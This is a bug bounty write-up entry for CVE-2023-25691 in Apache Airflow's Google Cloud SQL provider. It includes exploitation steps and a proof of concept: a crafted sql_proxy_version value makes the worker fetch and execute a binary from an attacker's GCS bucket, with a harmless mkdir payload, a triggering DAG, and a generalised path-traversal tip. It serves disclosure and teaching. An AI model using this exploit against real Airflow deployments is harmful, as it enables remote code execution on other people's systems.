# Apache Airflow Google Cloud Sql Provider Remote Command Execution

Airflow Google provider passed user-controlled sql_proxy_version into a download URL, letting a crafted connection config fetch and execute an attacker binary on the worker.

- Payout: $2,400
- Severity: medium
- Program: Internet Bug Bounty
- Found by (vendor credit): Xie Jianming of Caiji Sec Team
- Found by: sw0rd1ight
- Disclosed: 2023-04-16
- CVE: CVE-2023-25691
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1895277
- Library page: https://bugbountylibrary.com/r/h1%3A1895277
- Tags: area:cloud domain:cloud domain:infra impact:internal-access impact:rce kind:bounty platform:hackerone sev:medium tech:gcp tech:python technique:source-review vuln:command-injection vuln:rce

**Target:** Apache Airflow apache-airflow-providers-google CloudSQLExecuteQueryOperator / Cloud SQL connection Extra config
**Root cause:** The provider built the cloud_sql_proxy download URL from the connection's sql_proxy_version field without validating it, so a path-traversal-style value redirected the download to an attacker-controlled GCS object that was then chmod'd and executed.
**Steps:**
1. Compile a malicious `system` binary (e.g. `system("mkdir /tmp/hello")`) and upload it to a public GCS bucket.
2. Create an Airflow connection `aaa` with Extra JSON containing `"use_proxy":"True"` and `"sql_proxy_version":"../swordlight/system?a="`.
3. Create a DAG using `CloudSQLExecuteQueryOperator(gcp_cloudsql_conn_id="aaa", ...)` and place it in `/opt/airflow/dags`.
4. Trigger the DAG; the worker downloads the attacker binary as `/tmp/<rand>_cloud_sql_proxy`, chmods and executes it.
5. Verify `/tmp/hello` exists on the worker.
**How found:** Noticed the provider constructs the cloud_sql_proxy download URL from the user-supplied sql_proxy_version field and tested whether a `../bucket/object` value would redirect the fetch to an arbitrary GCS object.
**Exploitation:** Attacker with access to edit Airflow connection configs (e.g. unauthenticated Airflow UI) sets sql_proxy_version to a traversal path pointing at a public GCS object; when any DAG using CloudSQLExecuteQueryOperator runs, the worker downloads and executes the binary, yielding RCE on the worker.
**Insight:** When a config field is interpolated into a download URL, try path-traversal values like `../bucket/object` to redirect the fetch to attacker-controlled storage; any downloaded binary that is chmod'd and executed becomes RCE.

## Proof of concept (copied exactly from the original report)

**Malicious sql_proxy_version connection Extra config**

```
{
  "project_id":"pivotal-gearing-375804",
  "instance":"hellopg",
  "location":"us-central1-b",
  "database_type":"postgres",
  "use_proxy":"True",
  "use_ssl":"False",
  "sql_proxy_use_tcp":"True",
  "sql_proxy_version":"../swordlight/system?a=",
  "sslcert":"",
  "sslkey":"",
  "sslrootcert":""
}
```

**Malicious executable source compiled to 'system'**

```
#include<stdlib.h>
using namespace std;
int main(){
        system("mkdir /tmp/hello");
        return 0;
}
```

**DAG using CloudSQLExecuteQueryOperator to trigger exploit**

```
task = CloudSQLExecuteQueryOperator(
        gcp_cloudsql_conn_id="aaa",gcp_conn_id="proxy_postgres_tcp",task_id="example_gcp_sql_task_proxy_postgres_tcp" , sql=SQL
    )
    tasks.append(task)
```

